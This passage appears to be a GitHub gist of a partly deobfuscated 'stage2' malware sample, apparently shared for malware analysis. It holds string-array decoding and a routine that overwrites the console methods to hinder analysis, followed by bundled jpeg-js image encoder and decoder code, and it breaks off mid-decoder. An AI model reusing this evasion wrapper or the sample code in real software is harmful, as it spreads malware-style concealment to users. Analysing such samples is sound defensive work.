Skip to content

Instantly share code, notes, and snippets.

@Kaliendo
Last active January 17, 2026 17:26
Show Gist options
  • Select an option

  • Save Kaliendo/b66bda09868eeb0473418954db5d9a8a to your computer and use it in GitHub Desktop.

Select an option

Save Kaliendo/b66bda09868eeb0473418954db5d9a8a to your computer and use it in GitHub Desktop.
vx underground stage2 deobf.js
const potato = perpetual;
(function (screeching, man) {
const advertisement = perpetual,
grateful = screeching();
while (!![]) {
try {
const fanatical = parseInt("286205pGQqzX") / 1 + parseInt("4hmknAu") / 2 * (-parseInt("37722cViTwK") / 3) + -parseInt("827968OiKTqb") / 4 + parseInt("40pmTKKt") / 5 * (-parseInt("1242PKsdWJ") / 6) + parseInt("439887OhQSrb") / 7 * (parseInt("24CbjMqZ") / 8) + -parseInt("1126125gZpODj") / 9 + parseInt("348670VhYlJl") / 10;
if (fanatical === man) break;
else grateful["push"](grateful["shift"]());
} catch (theory) {
grateful["push"](grateful["shift"]());
}
}
})(skillful, 150674);
const erratic = function () {
let shape = !![];
return function (print, meeting) {
const four = shape ? function () {
if (meeting) {
const steel = meeting["apply"](print, arguments);
return meeting = null, steel;
}
} : function () {};
return shape = ![], four;
};
}(),
standing = erratic(this, function () {
const weigh = perpetual,
minute = function () {
const force = perpetual;
let amount;
try {
amount = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (whip) {
amount = window;
}
return amount;
},
clover = minute(),
wave = clover["console"] = clover["console"] || {},
nonstop = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (let detailed = 0; detailed < nonstop["length"]; detailed++) {
const aspiring = erratic["constructor"]["prototype"]["bind"](erratic),
shock = nonstop[detailed],
play = wave[shock] || aspiring;
aspiring["__proto__"] = erratic["bind"](erratic), aspiring["toString"] = play["toString"]["bind"](play), wave[shock] = aspiring;
}
});
standing();
var __create = Object["create"],
__defProp = Object["defineProperty"],
__getOwnPropDesc = Object["getOwnPropertyDescriptor"],
__getOwnPropNames = Object["getOwnPropertyNames"],
__getProtoOf = Object["getPrototypeOf"],
__hasOwnProp = Object["prototype"]["hasOwnProperty"],
__commonJS = (bashful, long) => function quarter() {
const six = potato;
return long || (0, bashful[__getOwnPropNames(bashful)[0]])((long = {
"exports": {}
})["exports"], long), long["exports"];
},
__copyProps = (charge, dock, crabby, dime) => {
const wry = potato;
if (dock && typeof dock === "object" || typeof dock === "function") {
for (let story of __getOwnPropNames(dock))
if (!__hasOwnProp["call"](charge, story) && story !== crabby) __defProp(charge, story, {
"get": () => dock[story],
"enumerable": !(dime = __getOwnPropDesc(dock, story)) || dime["enumerable"]
});
}
return charge;
},
__toESM = (wiry, rampant, dare) => (dare = wiry != null ? __create(__getProtoOf(wiry)) : {}, __copyProps(rampant || !wiry || !wiry["__esModule"] ? __defProp(dare, "default", {
"value": wiry,
"enumerable": !![]
}) : dare, wiry)),
require_encoder = __commonJS({
"node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/encoder.js"(open, shame) {
const many = potato;
var brush = brush || function (babies) {
const stem = perpetual;
return Buffer["from"](babies)["toString"]("base64");
};
function squeeze(judge) {
const heavenly = perpetual;
var defeated = this,
optimal = Math["round"],
invention = Math["floor"],
object = new Array(64),
change = new Array(64),
sink = new Array(64),
verdant = new Array(64),
jaded,
adjoining,
muddled,
helpless,
motionless = new Array(65535),
skirt = new Array(65535),
shrug = new Array(64),
trip = new Array(64),
haircut = [],
oven = 0,
lip = 7,
habitual = new Array(64),
yielding = new Array(64),
bag = new Array(64),
wheel = new Array(256),
attach = new Array(2048),
ticket,
visit = [0, 1, 5, 6, 14, 15, 27, 28, 2, 4, 7, 13, 16, 26, 29, 42, 3, 8, 12, 17, 25, 30, 41, 43, 9, 11, 18, 24, 31, 40, 44, 53, 10, 19, 23, 32, 39, 45, 52, 54, 20, 22, 33, 38, 46, 51, 55, 60, 21, 34, 37, 47, 50, 56, 59, 61, 35, 36, 48, 49, 57, 58, 62, 63],
reflect = [0, 0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0],
suppose = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11],
present = [0, 0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 125],
wound = [1, 2, 3, 0, 4, 17, 5, 18, 33, 49, 65, 6, 19, 81, 97, 7, 34, 113, 20, 50, 129, 145, 161, 8, 35, 66, 177, 193, 21, 82, 209, 240, 36, 51, 98, 114, 130, 9, 10, 22, 23, 24, 25, 26, 37, 38, 39, 40, 41, 42, 52, 53, 54, 55, 56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88, 89, 90, 99, 100, 101, 102, 103, 104, 105, 106, 115, 116, 117, 118, 119, 120, 121, 122, 131, 132, 133, 134, 135, 136, 137, 138, 146, 147, 148, 149, 150, 151, 152, 153, 154, 162, 163, 164, 165, 166, 167, 168, 169, 170, 178, 179, 180, 181, 182, 183, 184, 185, 186, 194, 195, 196, 197, 198, 199, 200, 201, 202, 210, 211, 212, 213, 214, 215, 216, 217, 218, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250],
voyage = [0, 0, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0],
real = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11],
aunt = [0, 0, 2, 1, 2, 4, 4, 3, 4, 7, 5, 4, 4, 0, 1, 2, 119],
religion = [0, 1, 2, 3, 17, 4, 5, 33, 49, 6, 18, 65, 81, 7, 97, 113, 19, 34, 50, 129, 8, 20, 66, 145, 161, 177, 193, 9, 35, 51, 82, 240, 21, 98, 114, 209, 10, 22, 36, 52, 225, 37, 241, 23, 24, 25, 26, 38, 39, 40, 41, 42, 53, 54, 55, 56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88, 89, 90, 99, 100, 101, 102, 103, 104, 105, 106, 115, 116, 117, 118, 119, 120, 121, 122, 130, 131, 132, 133, 134, 135, 136, 137, 138, 146, 147, 148, 149, 150, 151, 152, 153, 154, 162, 163, 164, 165, 166, 167, 168, 169, 170, 178, 179, 180, 181, 182, 183, 184, 185, 186, 194, 195, 196, 197, 198, 199, 200, 201, 202, 210, 211, 212, 213, 214, 215, 216, 217, 218, 226, 227, 228, 229, 230, 231, 232, 233, 234, 242, 243, 244, 245, 246, 247, 248, 249, 250];
function redundant(necessary) {
var fail = [16, 11, 10, 16, 24, 40, 51, 61, 12, 12, 14, 19, 26, 58, 60, 55, 14, 13, 16, 24, 40, 57, 69, 56, 14, 17, 22, 29, 51, 87, 80, 62, 18, 22, 37, 56, 68, 109, 103, 77, 24, 35, 55, 64, 81, 104, 113, 92, 49, 64, 78, 87, 103, 121, 120, 101, 72, 92, 95, 98, 112, 100, 103, 99];
for (var flower = 0; flower < 64; flower++) {
var unpack = invention((fail[flower] * necessary + 50) / 100);
if (unpack < 1) unpack = 1;
else unpack > 255 && (unpack = 255);
object[visit[flower]] = unpack;
}
var join = [17, 18, 24, 47, 99, 99, 99, 99, 18, 21, 26, 66, 99, 99, 99, 99, 24, 26, 56, 99, 99, 99, 99, 99, 47, 66, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99];
for (var gamy = 0; gamy < 64; gamy++) {
var tired = invention((join[gamy] * necessary + 50) / 100);
if (tired < 1) tired = 1;
else tired > 255 && (tired = 255);
change[visit[gamy]] = tired;
}
var welcome = [1, 1.387039845, 1.306562965, 1.175875602, 1, 0.785694958, 0.5411961, 0.275899379],
rightful = 0;
for (var jeans = 0; jeans < 8; jeans++) {
for (var obscene = 0; obscene < 8; obscene++) {
sink[rightful] = 1 / (object[visit[rightful]] * welcome[jeans] * welcome[obscene] * 8), verdant[rightful] = 1 / (change[visit[rightful]] * welcome[jeans] * welcome[obscene] * 8), rightful++;
}
}
}
function spring(basket, battle) {
var utter = 0,
descriptive = 0,
caring = new Array();
for (var pies = 1; pies <= 16; pies++) {
for (var drawer = 1; drawer <= basket[pies]; drawer++) {
caring[battle[descriptive]] = [], caring[battle[descriptive]][0] = utter, caring[battle[descriptive]][1] = pies, descriptive++, utter++;
}
utter *= 2;
}
return caring;
}
function station() {
jaded = spring(reflect, suppose), adjoining = spring(voyage, real), muddled = spring(present, wound), helpless = spring(aunt, religion);
}
function soothe() {
var year = 1,
agreeable = 2;
for (var seemly = 1; seemly <= 15; seemly++) {
for (var button = year; button < agreeable; button++) {
skirt[32767 + button] = seemly, motionless[32767 + button] = [], motionless[32767 + button][1] = seemly, motionless[32767 + button][0] = button;
}
for (var encourage = -(agreeable - 1); encourage <= -year; encourage++) {
skirt[32767 + encourage] = seemly, motionless[32767 + encourage] = [], motionless[32767 + encourage][1] = seemly, motionless[32767 + encourage][0] = agreeable - 1 + encourage;
}
year <<= 1, agreeable <<= 1;
}
}
function reduce() {
for (var bed = 0; bed < 256; bed++) {
attach[bed] = 19595 * bed, attach[bed + 256 >> 0] = 38470 * bed, attach[bed + 512 >> 0] = 7471 * bed + 32768, attach[bed + 768 >> 0] = -11059 * bed, attach[bed + 1024 >> 0] = -21709 * bed, attach[bed + 1280 >> 0] = 32768 * bed + 8421375, attach[bed + 1536 >> 0] = -27439 * bed, attach[bed + 1792 >> 0] = -5329 * bed;
}
}
function wave(nosy) {
var zoo = nosy[0],
hateful = nosy[1] - 1;
while (hateful >= 0) {
zoo & 1 << hateful && (oven |= 1 << lip), hateful--, lip--, lip < 0 && (oven == 255 ? (flaky(255), flaky(0)) : flaky(oven), lip = 7, oven = 0);
}
}
function flaky(work) {
haircut["push"](work);
}
function ear(uneven) {
flaky(uneven >> 8 & 255), flaky(uneven & 255);
}
function cumbersome(languid, box) {
var devilish,
yawn,
ablaze,
lake,
harbor,
legs,
glow,
glossy,
cruel = 0,
warn,
hard = 8,
unique = 64;
for (warn = 0; warn < hard; ++warn) {
devilish = languid[cruel], yawn = languid[cruel + 1], ablaze = languid[cruel + 2], lake = languid[cruel + 3], harbor = languid[cruel + 4], legs = languid[cruel + 5], glow = languid[cruel + 6], glossy = languid[cruel + 7];
var card = devilish + glossy,
hug = devilish - glossy,
tangible = yawn + glow,
hook = yawn - glow,
label = ablaze + legs,
exotic = ablaze - legs,
account = lake + harbor,
imagine = lake - harbor,
grain = card + account,
tranquil = card - account,
book = tangible + label,
pickle = tangible - label;
languid[cruel] = grain + book, languid[cruel + 4] = grain - book;
var whistle = (pickle + tranquil) * 0.707106781;
languid[cruel + 2] = tranquil + whistle, languid[cruel + 6] = tranquil - whistle, grain = imagine + exotic, book = exotic + hook, pickle = hook + hug;
var sack = (grain - pickle) * 0.382683433,
scissors = 0.5411961 * grain + sack,
trashy = 1.306562965 * pickle + sack,
puzzled = book * 0.707106781,
bottle = hug + puzzled,
smile = hug - puzzled;
languid[cruel + 5] = smile + scissors, languid[cruel + 3] = smile - scissors, languid[cruel + 1] = bottle + trashy, languid[cruel + 7] = bottle - trashy, cruel += 8;
}
cruel = 0;
for (warn = 0; warn < hard; ++warn) {
devilish = languid[cruel], yawn = languid[cruel + 8], ablaze = languid[cruel + 16], lake = languid[cruel + 24], harbor = languid[cruel + 32], legs = languid[cruel + 40], glow = languid[cruel + 48], glossy = languid[cruel + 56];
var neighborly = devilish + glossy,
eatable = devilish - glossy,
admit = yawn + glow,
picayune = yawn - glow,
type = ablaze + legs,
fast = ablaze - legs,
shy = lake + harbor,
anger = lake - harbor,
open = neighborly + shy,
add = neighborly - shy,
curly = admit + type,
free = admit - type;
languid[cruel] = open + curly, languid[cruel + 32] = open - curly;
var aftermath = (free + add) * 0.707106781;
languid[cruel + 16] = add + aftermath, languid[cruel + 48] = add - aftermath, open = anger + fast, curly = fast + picayune, free = picayune + eatable;
var cherry = (open - free) * 0.382683433,
daily = 0.5411961 * open + cherry,
heal = 1.306562965 * free + cherry,
rose = curly * 0.707106781,
abhorrent = eatable + rose,
short = eatable - rose;
languid[cruel + 40] = short + daily, languid[cruel + 24] = short - daily, languid[cruel + 8] = abhorrent + heal, languid[cruel + 56] = abhorrent - heal, cruel++;
}
var fine;
for (warn = 0; warn < unique; ++warn) {
fine = languid[warn] * box[warn], shrug[warn] = fine > 0 ? fine + 0.5 | 0 : fine - 0.5 | 0;
}
return shrug;
}
function guarded() {
ear(65504), ear(16), flaky(74), flaky(70), flaky(73), flaky(70), flaky(0), flaky(1), flaky(1), flaky(0), ear(1), ear(1), flaky(0), flaky(0);
}
function vase(fascinated) {
const fresh = heavenly;
if (!fascinated) return;
ear(65505);
fascinated[0] === 69 && fascinated[1] === 120 && fascinated[2] === 105 && fascinated[3] === 102 ? ear(fascinated["length"] + 2) : (ear(fascinated["length"] + 5 + 2), flaky(69), flaky(120), flaky(105), flaky(102), flaky(0));
for (var chickens = 0; chickens < fascinated["length"]; chickens++) {
flaky(fascinated[chickens]);
}
}
function mine(stare, boring) {
ear(65472), ear(17), flaky(8), ear(boring), ear(stare), flaky(3), flaky(1), flaky(17), flaky(0), flaky(2), flaky(17), flaky(1), flaky(3), flaky(17), flaky(1);
}
function include() {
ear(65499), ear(132), flaky(0);
for (var ajar = 0; ajar < 64; ajar++) {
flaky(object[ajar]);
}
flaky(1);
for (var gorgeous = 0; gorgeous < 64; gorgeous++) {
flaky(change[gorgeous]);
}
}
function trade() {
ear(65476), "CJw", flaky(0);
for (var selective = 0; selective < 16; selective++) {
flaky(reflect[selective + 1]);
}
for (var reading = 0; reading <= 11; reading++) {
flaky(suppose[reading]);
}
flaky(16);
for (var snakes = 0; snakes < 16; snakes++) {
flaky(present[snakes + 1]);
}
for (var sneeze = 0; sneeze <= 161; sneeze++) {
flaky(wound[sneeze]);
}
flaky(1);
for (var spill = 0; spill < 16; spill++) {
flaky(voyage[spill + 1]);
}
for (var helpful = 0; helpful <= 11; helpful++) {
flaky(real[helpful]);
}
flaky(17);
for (var alleged = 0; alleged < 16; alleged++) {
flaky(aunt[alleged + 1]);
}
for (var numerous = 0; numerous <= 161; numerous++) {
flaky(religion[numerous]);
}
}
function note(acoustics) {
const fry = heavenly;
if (typeof acoustics === "undefined" || acoustics["constructor"] !== Array) return;
acoustics["forEach"](resonant => {
const supply = fry;
if (typeof resonant !== "string") return;
ear(65534);
var geese = resonant["length"];
ear(geese + 2);
var pets;
for (pets = 0; pets < geese; pets++) flaky(resonant["charCodeAt"](pets));
});
}
function impulse() {
ear(65498), ear(12), flaky(3), flaky(1), flaky(0), flaky(2), flaky(17), flaky(3), flaky(17), flaky(0), flaky(63), flaky(0);
}
function scintillating(tame, release, tail, depend, lively) {
var nondescript = lively[0],
punishment = lively[240],
sore,
statuesque = 16,
stupendous = 63,
aromatic = 64,
thin = cumbersome(tame, release);
for (var coil = 0; coil < aromatic; ++coil) {
trip[visit[coil]] = thin[coil];
}
var serve = trip[0] - tail;
tail = trip[0];
serve == 0 ? wave(depend[0]) : (sore = 32767 + serve, wave(depend[skirt[sore]]), wave(motionless[sore]));
var rinse = 63;
for (; rinse > 0 && trip[rinse] == 0; rinse--) {};
if (rinse == 0) return wave(nondescript), tail;
var gusty = 1,
swim;
while (gusty <= rinse) {
var save = gusty;
for (; trip[gusty] == 0 && gusty <= rinse; ++gusty) {}
var guttural = gusty - save;
if (guttural >= statuesque) {
swim = guttural >> 4;
for (var attend = 1; attend <= swim; ++attend) wave(punishment);
guttural = guttural & 15;
}
sore = 32767 + trip[gusty], wave(lively[(guttural << 4) + skirt[sore]]), wave(motionless[sore]), gusty++;
}
return rinse != stupendous && wave(nondescript), tail;
}
function shoes() {
const used = heavenly;
var periodic = String["fromCharCode"];
for (var minor = 0; minor < 256; minor++) {
wheel[minor] = periodic(minor);
}
}
this["encode"] = function (dysfunctional, ragged) {
const sisters = heavenly;
var receptive = new Date()["getTime"]();
if (ragged) railway(ragged);
haircut = new Array(), oven = 0, lip = 7, ear(65496), guarded(), note(dysfunctional["comments"]), vase(dysfunctional["exifBuffer"]), include(), mine(dysfunctional["width"], dysfunctional["height"]), trade(), impulse();
var decay = 0,
meek = 0,
crooked = 0;
oven = 0, lip = 7, this["encode"]["displayName"] = "_encode_";
var representative = dysfunctional["data"],
twist = dysfunctional["width"],
manage = dysfunctional["height"],
bored = twist * 4,
grotesque = twist * 3,
demonic,
camp = 0,
temporary,
coil,
passenger,
appliance,
clam,
smoggy,
tasteless,
guess;
while (camp < manage) {
demonic = 0;
while (demonic < bored) {
appliance = bored * camp + demonic, clam = appliance, smoggy = -1, tasteless = 0;
for (guess = 0; guess < 64; guess++) {
tasteless = guess >> 3, smoggy = (guess & 7) * 4, clam = appliance + tasteless * bored + smoggy, camp + tasteless >= manage && (clam -= bored * (camp + 1 + tasteless - manage)), demonic + smoggy >= bored && (clam -= demonic + smoggy - bored + 4), temporary = representative[clam++], coil = representative[clam++], passenger = representative[clam++], habitual[guess] = (attach[temporary] + attach[coil + 256 >> 0] + attach[passenger + 512 >> 0] >> 16) - 128, yielding[guess] = (attach[temporary + 768 >> 0] + attach[coil + 1024 >> 0] + attach[passenger + 1280 >> 0] >> 16) - 128, bag[guess] = (attach[temporary + 1280 >> 0] + attach[coil + 1536 >> 0] + attach[passenger + 1792 >> 0] >> 16) - 128;
}
decay = scintillating(habitual, sink, decay, jaded, muddled), meek = scintillating(yielding, verdant, meek, adjoining, helpless), crooked = scintillating(bag, verdant, crooked, adjoining, helpless), demonic += 32;
}
camp += 8;
}
if (lip >= 0) {
var verse = [];
verse[1] = lip + 1, verse[0] = (1 << lip + 1) - 1, wave(verse);
}
ear(65497);
if (typeof shame === "undefined") return new Uint8Array(haircut);
return Buffer["from"](haircut);
var drab = "data:image/jpeg;base64," + brush(haircut["join"](""));
haircut = [];
var peep = new Date()["getTime"]() - receptive;
return drab;
};
function railway(business) {
const paper = heavenly;
business <= 0 && (business = 1);
business > 100 && (business = 100);
if (ticket == business) return;
var female = 0;
business < 50 ? female = Math["floor"](5000 / business) : female = Math["floor"](200 - business * 2), redundant(female), ticket = business;
}
function admire() {
const way = heavenly;
var moor = new Date()["getTime"]();
if (!judge) judge = 50;
shoes(), station(), soothe(), reduce(), railway(judge);
var breezy = new Date()["getTime"]() - moor;
}
admire();
}
if (typeof shame !== "undefined") shame["exports"] = opposite;
else typeof window !== "undefined" && (window["jpeg-js"] = window["jpeg-js"] || {}, window["jpeg-js"]["encode"] = opposite);
function opposite(comparison, tank) {
const suit = many;
if (typeof tank === "undefined") tank = 50;
var ludicrous = new squeeze(tank),
minister = ludicrous["encode"](comparison, tank);
return {
"data": minister,
"width": comparison["width"],
"height": comparison["height"]
};
}
}
}),
require_decoder = __commonJS({
"node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/decoder.js"(stiff, whine) {
const request = potato;
var camera = function internal() {
'use strict';
const improve = perpetual;
var unnatural = new Int32Array([0, 1, 8, 16, 9, 2, 3, 10, 17, 24, 32, 25, 18, 11, 4, 5, 12, 19, 26, 33, 40, 48, 41, 34, 27, 20, 13, 6, 7, 14, 21, 28, 35, 42, 49, 56, 57, 50, 43, 36, 29, 22, 15, 23, 30, 37, 44, 51, 58, 59, 52, 45, 38, 31, 39, 46, 53, 60, 61, 54, 47, 55, 62, 63]),
decisive = 4017,
exist = 799,
grip = 3406,
electric = 2276,
bathe = 1567,
scandalous = 3784,
steer = 5793,
humdrum = 2896;
function action() {}
function rot(roll, quartz) {
const amused = perpetual;
var sidewalk = 0,
roll = [],
curve,
absent,
test = 16;
while (test > 0 && !roll[test - 1]) test--;
roll["push"]({
"children": [],
"index": 0
});
var key = roll[0],
wash;
for (curve = 0; curve < test; curve++) {
for (absent = 0; absent < roll[curve]; absent++) {
key = roll["pop"](), key["children"][key["index"]] = quartz[sidewalk];
while (key["index"] > 0) {
if (roll["length"] === 0) throw new Error("Could not recreate Huffman Table");
key = roll["pop"]();
}
key["index"]++, roll["push"](key);
while (roll["length"] <= curve) {
roll["push"](wash = {
"children": [],
"index": 0
}), key["children"][key["index"]] = wash["children"], key = wash;
}
sidewalk++;
}
curve + 1 < test && (roll["push"](wash = {
"children": [],
"index": 0
}), key["children"][key["index"]] = wash["children"], key = wash);
}
return roll[0]["children"];
}
function handsomely(wandering, harsh, stew, witty, nostalgic, flood, subdued, notebook, offend, toothbrush) {
const rigid = perpetual;
var drink = stew["precision"],
male = stew["samplesPerLine"],
idea = stew["scanLines"],
married = stew["mcusPerLine"],
tenuous = stew["progressive"],
excellent = stew["maxH"],
miniature = stew["maxV"],
small = harsh,
book = 0,
blood = 0;
function land() {
const proud = rigid;
if (blood > 0) return blood--, book >> blood & 1;
book = wandering[harsh++];
if (book == 255) {
var tickle = wandering[harsh++];
if (tickle) throw new Error("unexpected marker: " + (book << 8 | tickle)["toString"](16));
}
return blood = 7, book >>> 7;
}
function diligent(offbeat) {
const brake = rigid;
var acid = offbeat,
abounding;
while ((abounding = land()) !== null) {
acid = acid[abounding];
if (typeof acid === "number") return acid;
if (typeof acid !== "object") throw new Error("invalid huffman sequence");
}
return null;
}
function feeling(zealous) {
var stone = 0;
while (zealous > 0) {
var animal = land();
if (animal === null) return;
stone = stone << 1 | animal, zealous--;
}
return stone;
}
function cushion(bomb) {
var contain = feeling(bomb);
if (contain >= 1 << bomb - 1) return contain;
return contain + (-1 << bomb) + 1;
}
function phobic(flat, butter) {
const ignorant = rigid;
var curtain = diligent(flat["huffmanTableDC"]),
riddle = curtain === 0 ? 0 : cushion(curtain);
butter[0] = flat["pred"] += riddle;
var part = 1;
while (part < 64) {
var trees = diligent(flat["huffmanTableAC"]),
quixotic = trees & 15,
toothpaste = trees >> 4;
if (quixotic === 0) {
if (toothpaste < 15) break;
part += 16;
continue;
}
part += toothpaste;
var allow = unnatural[part];
butter[allow] = cushion(quixotic), part++;
}
}
function discovery(miscreant, pick) {
const air = rigid;
var wonderful = diligent(miscreant["huffmanTableDC"]),
order = wonderful === 0 ? 0 : cushion(wonderful) << offend;
pick[0] = miscreant["pred"] += order;
}
function laughable(press, rural) {
rural[0] |= land() << offend;
}
var efficacious = 0;
function fortunate(loose, spurious) {
const nine = rigid;
if (efficacious > 0) {
efficacious--;
return;
}
var smell = flood,
current = subdued;
while (smell <= current) {
var experience = diligent(loose["huffmanTableAC"]),
grab = experience & 15,
rapid = experience >> 4;
if (grab === 0) {
if (rapid < 15) {
efficacious = feeling(rapid) + (1 << rapid) - 1;
break;
}
smell += 16;
continue;
}
smell += rapid;
var songs = unnatural[smell];
spurious[songs] = cushion(grab) * (1 << offend), smell++;
}
}
var bulb = 0,
empty;
function show(slave, winter) {
const compete = rigid;
var lucky = flood,
prick = subdued,
hall = 0;
while (lucky <= prick) {
var stitch = unnatural[lucky],
judge = winter[stitch] < 0 ? -1 : 1;
switch (bulb) {
case 0:
var road = diligent(slave["huffmanTableAC"]),
applaud = road & 15,
hall = road >> 4;
if (applaud === 0) hall < 15 ? (efficacious = feeling(hall) + (1 << hall), bulb = 4) : (hall = 16, bulb = 1);
else {
if (applaud !== 1) throw new Error("invalid ACn encoding");
empty = cushion(applaud), bulb = hall ? 2 : 3;
}
continue;
case 1:
case 2:
if (winter[stitch]) winter[stitch] += (land() << offend) * judge;
else {
hall--;
if (hall === 0) bulb = bulb == 2 ? 3 : 0;
}
break;
case 3:
if (winter[stitch]) winter[stitch] += (land() << offend) * judge;
else winter[stitch] = empty << offend, bulb = 0;
break;
case 4:
if (winter[stitch]) winter[stitch] += (land() << offend) * judge;
break;
}
lucky++;
}
if (bulb === 4) {
efficacious--;
if (efficacious === 0) bulb = 0;
}
}
function heavy(regret, soft, profuse, substance, sip) {
const detect = rigid;
var mammoth = profuse / married | 0,
cloth = profuse % married,
honey = mammoth * regret["v"] + substance,
frame = cloth * regret["h"] + sip;
if (regret["blocks"][honey] === void 0 && toothbrush["tolerantDecoding"]) return;
soft(regret, regret["blocks"][honey][frame]);
}
function brass(price, transport, eyes) {
const weather = rigid;
var knife = eyes / price["blocksPerLine"] | 0,
boundless = eyes % price["blocksPerLine"];
if (price["blocks"][knife] === void 0 && toothbrush["tolerantDecoding"]) return;
transport(price, price["blocks"][knife][boundless]);
}
var overflow = witty["length"],
mailbox,
front,
refuse,
striped,
instrument,
tremendous;
if (tenuous) {
if (flood === 0) tremendous = notebook === 0 ? discovery : laughable;
else tremendous = notebook === 0 ? fortunate : show;
} else tremendous = phobic;
var push = 0,
wonder,
normal;
overflow == 1 ? normal = witty[0]["blocksPerLine"] * witty[0]["blocksPerColumn"] : normal = married * stew["mcusPerColumn"];
if (!nostalgic) nostalgic = normal;
var scattered, calculate;
while (push < normal) {
for (front = 0; front < overflow; front++) witty[front]["pred"] = 0;
efficacious = 0;
if (overflow == 1) {
mailbox = witty[0];
for (instrument = 0; instrument < nostalgic; instrument++) {
brass(mailbox, tremendous, push), push++;
}
} else
for (instrument = 0; instrument < nostalgic; instrument++) {
for (front = 0; front < overflow; front++) {
mailbox = witty[front], scattered = mailbox["h"], calculate = mailbox["v"];
for (refuse = 0; refuse < calculate; refuse++) {
for (striped = 0; striped < scattered; striped++) {
heavy(mailbox, tremendous, push, refuse, striped);
}
}
}
push++;
if (push === normal) break;
}
if (push === normal)
do {
if (wandering[harsh] === 255) {
if (wandering[harsh + 1] !== 0) break;
}
harsh += 1;
} while (harsh < wandering["length"] - 2);
blood = 0, wonder = wandering[harsh] << 8 | wandering[harsh + 1];
if (wonder < 65280) throw new Error("marker was not found");
if (wonder >= 65488 && wonder <= 65495) harsh += 2;
else break;
}
return harsh - small;
}
function tame(axiomatic, strip) {
const decorous = perpetual;
var dance = [],
collect = strip["blocksPerLine"],
right = strip["blocksPerColumn"],
recognise = collect << 3,
fancy = new Int32Array(64),
sister = new Uint8Array(64);
function cool(tub, obey, piquant) {
const forgetful = decorous;
var sleep = strip["quantizationTable"],
unequaled,
remarkable,
name,
blot,
respect,
provide,
power,
mindless,
whistle,
slip = piquant,
office;
for (office = 0; office < 64; office++) slip[office] = tub[office] * sleep[office];
for (office = 0; office < 8; ++office) {
var fragile = 8 * office;
if (slip[1 + fragile] == 0 && slip[2 + fragile] == 0 && slip[3 + fragile] == 0 && slip[4 + fragile] == 0 && slip[5 + fragile] == 0 && slip[6 + fragile] == 0 && slip[7 + fragile] == 0) {
whistle = steer * slip[0 + fragile] + 512 >> 10, slip[0 + fragile] = whistle, slip[1 + fragile] = whistle, slip[2 + fragile] = whistle, slip[3 + fragile] = whistle, slip[4 + fragile] = whistle, slip[5 + fragile] = whistle, slip[6 + fragile] = whistle, slip[7 + fragile] = whistle;
continue;
}
unequaled = steer * slip[0 + fragile] + 128 >> 8, remarkable = steer * slip[4 + fragile] + 128 >> 8, name = slip[2 + fragile], blot = slip[6 + fragile], respect = humdrum * (slip[1 + fragile] - slip[7 + fragile]) + 128 >> 8, mindless = humdrum * (slip[1 + fragile] + slip[7 + fragile]) + 128 >> 8, provide = slip[3 + fragile] << 4, power = slip[5 + fragile] << 4, whistle = unequaled - remarkable + 1 >> 1, unequaled = unequaled + remarkable + 1 >> 1, remarkable = whistle, whistle = name * scandalous + blot * bathe + 128 >> 8, name = name * bathe - blot * scandalous + 128 >> 8, blot = whistle, whistle = respect - power + 1 >> 1, respect = respect + power + 1 >> 1, power = whistle, whistle = mindless + provide + 1 >> 1, provide = mindless - provide + 1 >> 1, mindless = whistle, whistle = unequaled - blot + 1 >> 1, unequaled = unequaled + blot + 1 >> 1, blot = whistle, whistle = remarkable - name + 1 >> 1, remarkable = remarkable + name + 1 >> 1, name = whistle, whistle = respect * electric + mindless * grip + 2048 >> 12, respect = respect * grip - mindless * electric + 2048 >> 12, mindless = whistle, whistle = provide * exist + power * decisive + 2048 >> 12, provide = provide * decisive - power * exist + 2048 >> 12, power = whistle, slip[0 + fragile] = unequaled + mindless, slip[7 + fragile] = unequaled - mindless, slip[1 + fragile] = remarkable + power, slip[6 + fragile] = remarkable - power, slip[2 + fragile] = name + provide, slip[5 + fragile] = name - provide, slip[3 + fragile] = blot + respect, slip[4 + fragile] = blot - respect;
}
for (office = 0; office < 8; ++office) {
var cute = office;
if (slip[1 * 8 + cute] == 0 && slip[2 * 8 + cute] == 0 && slip[3 * 8 + cute] == 0 && slip[4 * 8 + cute] == 0 && slip[5 * 8 + cute] == 0 && slip[6 * 8 + cute] == 0 && slip[7 * 8 + cute] == 0) {
whistle = steer * piquant[office + 0] + 8192 >> 14, slip[0 * 8 + cute] = whistle, slip[1 * 8 + cute] = whistle, slip[2 * 8 + cute] = whistle, slip[3 * 8 + cute] = whistle, slip[4 * 8 + cute] = whistle, slip[5 * 8 + cute] = whistle, slip[6 * 8 + cute] = whistle, slip[7 * 8 + cute] = whistle;
continue;
}
